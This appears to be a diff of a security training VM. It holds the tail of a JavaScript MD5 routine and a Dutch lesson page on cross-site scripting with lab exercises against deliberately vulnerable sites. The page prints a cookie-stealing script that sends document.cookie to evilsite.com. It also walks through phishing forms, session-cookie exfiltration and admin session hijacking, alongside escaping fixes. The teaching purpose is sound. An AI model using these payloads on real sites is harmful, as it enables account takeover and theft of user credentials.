var lMessageLength = str.length; |
||||||
|
var lNumberOfWords_temp1 = lMessageLength + 8; |
||||||
|
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64; |
||||||
|
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16; |
||||||
|
var lWordArray = new Array(lNumberOfWords - 1); |
||||||
|
var lBytePosition = 0; |
||||||
|
var lByteCount = 0; |
||||||
|
while (lByteCount < lMessageLength) { |
||||||
|
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||||
|
lBytePosition = (lByteCount % 4) * 8; |
||||||
|
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition)); |
||||||
|
lByteCount++; |
||||||
|
} |
||||||
|
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||||
|
lBytePosition = (lByteCount % 4) * 8; |
||||||
|
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition); |
||||||
|
lWordArray[lNumberOfWords - 2] = lMessageLength << 3; |
||||||
|
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29; |
||||||
|
return lWordArray; |
||||||
|
}; |
||||||
|
|
||||||
|
var wordToHex = function (lValue) { |
||||||
|
var wordToHexValue = '', |
||||||
|
wordToHexValue_temp = '', |
||||||
|
lByte, lCount; |
||||||
|
for (lCount = 0; lCount <= 3; lCount++) { |
||||||
|
lByte = (lValue >>> (lCount * 8)) & 255; |
||||||
|
wordToHexValue_temp = '0' + lByte.toString(16); |
||||||
|
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2); |
||||||
|
} |
||||||
|
return wordToHexValue; |
||||||
|
}; |
||||||
|
|
||||||
|
var x = [], |
||||||
|
k, AA, BB, CC, DD, a, b, c, d, S11 = 7, |
||||||
|
S12 = 12, |
||||||
|
S13 = 17, |
||||||
|
S14 = 22, |
||||||
|
S21 = 5, |
||||||
|
S22 = 9, |
||||||
|
S23 = 14, |
||||||
|
S24 = 20, |
||||||
|
S31 = 4, |
||||||
|
S32 = 11, |
||||||
|
S33 = 16, |
||||||
|
S34 = 23, |
||||||
|
S41 = 6, |
||||||
|
S42 = 10, |
||||||
|
S43 = 15, |
||||||
|
S44 = 21; |
||||||
|
|
||||||
|
str = this.utf8_encode(str); |
||||||
|
x = convertToWordArray(str); |
||||||
|
a = 0x67452301; |
||||||
|
b = 0xEFCDAB89; |
||||||
|
c = 0x98BADCFE; |
||||||
|
d = 0x10325476; |
||||||
|
|
||||||
|
xl = x.length; |
||||||
|
for (k = 0; k < xl; k += 16) { |
||||||
|
AA = a; |
||||||
|
BB = b; |
||||||
|
CC = c; |
||||||
|
DD = d; |
||||||
|
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478); |
||||||
|
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756); |
||||||
|
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB); |
||||||
|
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE); |
||||||
|
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF); |
||||||
|
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A); |
||||||
|
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613); |
||||||
|
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501); |
||||||
|
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8); |
||||||
|
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF); |
||||||
|
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1); |
||||||
|
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE); |
||||||
|
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122); |
||||||
|
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193); |
||||||
|
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E); |
||||||
|
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821); |
||||||
|
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562); |
||||||
|
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340); |
||||||
|
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51); |
||||||
|
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA); |
||||||
|
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D); |
||||||
|
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453); |
||||||
|
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681); |
||||||
|
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8); |
||||||
|
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6); |
||||||
|
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6); |
||||||
|
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87); |
||||||
|
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED); |
||||||
|
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905); |
||||||
|
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8); |
||||||
|
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9); |
||||||
|
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A); |
||||||
|
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942); |
||||||
|
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681); |
||||||
|
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122); |
||||||
|
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C); |
||||||
|
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44); |
||||||
|
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9); |
||||||
|
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60); |
||||||
|
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70); |
||||||
|
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6); |
||||||
|
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA); |
||||||
|
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085); |
||||||
|
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05); |
||||||
|
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039); |
||||||
|
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5); |
||||||
|
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8); |
||||||
|
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665); |
||||||
|
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244); |
||||||
|
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97); |
||||||
|
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7); |
||||||
|
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039); |
||||||
|
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3); |
||||||
|
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92); |
||||||
|
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D); |
||||||
|
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1); |
||||||
|
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F); |
||||||
|
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0); |
||||||
|
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314); |
||||||
|
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1); |
||||||
|
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82); |
||||||
|
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235); |
||||||
|
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB); |
||||||
|
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391); |
||||||
|
a = addUnsigned(a, AA); |
||||||
|
b = addUnsigned(b, BB); |
||||||
|
c = addUnsigned(c, CC); |
||||||
|
d = addUnsigned(d, DD); |
||||||
|
} |
||||||
|
|
||||||
|
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d); |
||||||
|
|
||||||
|
return temp.toLowerCase(); |
||||||
|
} |
||||||
|
</script> |
@ -0,0 +1,244 @@ |
|||||||
|
<style> |
||||||
|
.screenshot { |
||||||
|
box-shadow: 0 0 15px #888; |
||||||
|
} |
||||||
|
|
||||||
|
figure { |
||||||
|
float: right; |
||||||
|
width: 30%; |
||||||
|
} |
||||||
|
|
||||||
|
figure img {} |
||||||
|
|
||||||
|
figcaption { |
||||||
|
margin-top: 10px; |
||||||
|
font-size: smaller; |
||||||
|
color: gray; |
||||||
|
text-align: center; |
||||||
|
} |
||||||
|
</style> |
||||||
|
|
||||||
|
<h1>Cross-site Scripting</h1> |
||||||
|
|
||||||
|
<figure> |
||||||
|
<img src="/static/img/rabobank.png" class="screenshot"> |
||||||
|
<figcaption>Iemand heeft |
||||||
|
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption> |
||||||
|
</figure> |
||||||
|
|
||||||
|
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als |
||||||
|
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra |
||||||
|
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script> |
||||||
|
tag kan toevoegen is er sprake van een XSS aanval.</p> |
||||||
|
|
||||||
|
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login |
||||||
|
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch |
||||||
|
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p> |
||||||
|
|
||||||
|
<h3>Reflected</h3> |
||||||
|
|
||||||
|
<figure> |
||||||
|
<img class="screenshot" src="/static/img/zoekterm.png"> |
||||||
|
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption> |
||||||
|
</figure> |
||||||
|
|
||||||
|
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets |
||||||
|
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als |
||||||
|
op de webpagina zelf.</p> |
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren |
||||||
|
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken. |
||||||
|
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet. |
||||||
|
The perfect crime!</p> |
||||||
|
|
||||||
|
<h3>Stored</h3> |
||||||
|
|
||||||
|
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een |
||||||
|
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's). |
||||||
|
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n |
||||||
|
90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan |
||||||
|
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p> |
||||||
|
|
||||||
|
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te |
||||||
|
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p> |
||||||
|
|
||||||
|
<h3>Aanvallen</h3> |
||||||
|
|
||||||
|
<h4>HTML toevoegen</h4> |
||||||
|
|
||||||
|
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan |
||||||
|
een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de |
||||||
|
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p> |
||||||
|
|
||||||
|
<h4>Javascript toevoegen</h4> |
||||||
|
|
||||||
|
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te |
||||||
|
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker |
||||||
|
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p> |
||||||
|
|
||||||
|
<p> |
||||||
|
<code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code> |
||||||
|
</p> |
||||||
|
|
||||||
|
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site |
||||||
|
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan |
||||||
|
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p> |
||||||
|
|
||||||
|
<h3>Countermeasures</h3> |
||||||
|
|
||||||
|
<p>De belangrijkste regel bij websecurity is: |
||||||
|
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare |
||||||
|
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die |
||||||
|
je weer weergeeft op de pagina te |
||||||
|
<b>escapen</b>.</p> |
||||||
|
|
||||||
|
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities. |
||||||
|
<code>"</code> wordt dan bijvoorbeeld |
||||||
|
<code>&quot;</code> en |
||||||
|
<code><</code> wordt |
||||||
|
<code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p> |
||||||
|
|
||||||
|
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p> |
||||||
|
|
||||||
|
|
||||||
|
<code><script><b>gebruikersinvoer hier</b></script></p></code> |
||||||
|
|
||||||
|
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het |
||||||
|
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een |
||||||
|
bepaalde waarde te zetten.</p> |
||||||
|
|
||||||
|
<h1>Opdrachten</h1> |
||||||
|
|
||||||
|
<h2>Bank</h2> |
||||||
|
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze |
||||||
|
nog steeds niet veilig van hun beveiligingsproblemen.</p> |
||||||
|
|
||||||
|
<p>Ga naar de |
||||||
|
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a> |
||||||
|
</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere |
||||||
|
server gestuurd.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Bekijk de |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje |
||||||
|
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Zoek eens naar |
||||||
|
<code>window.history.pushState</code>.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina |
||||||
|
komt te staan.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<h2>Webshop</h2> |
||||||
|
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde |
||||||
|
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site |
||||||
|
<span class="website">"Webshop (replace)"</span>.</p> |
||||||
|
|
||||||
|
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p> |
||||||
|
|
||||||
|
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt |
||||||
|
gebruiken moet je de url encoded versie gebruiken: %2B</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Op |
||||||
|
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a> |
||||||
|
</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het |
||||||
|
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd. |
||||||
|
Let goed op de quotejes.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Bekijk de |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2. |
||||||
|
PHP aanpassen (lees documentatie op |
||||||
|
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
|
||||||
|
<h2>Nieuws</h2> |
||||||
|
|
||||||
|
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de |
||||||
|
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p> |
||||||
|
|
||||||
|
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators |
||||||
|
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen. |
||||||
|
</p> |
||||||
|
|
||||||
|
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen |
||||||
|
server sturen om de opdracht te kunnen maken. Je kunt hiervoor |
||||||
|
<a href="https://requestb.in">Requestbin</a> gebruiken</p> |
||||||
|
|
||||||
|
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan |
||||||
|
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p> |
||||||
|
|
||||||
|
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie |
||||||
|
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p> |
||||||
|
|
||||||
|
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p> |
||||||
|
|
||||||
|
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p> |
||||||
|
|
||||||
|
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p> |
||||||
|
|
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<h2>Wereldwijs</h2> |
||||||
|
|
||||||
|
<p>Ga naar de |
||||||
|
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen. |
||||||
|
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek |
||||||
|
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p> |
||||||
|
|
||||||
|
<p>Let op: In Firefox werkt deze hack niet</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>'). |
||||||
|
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span> |
||||||
|
</div> |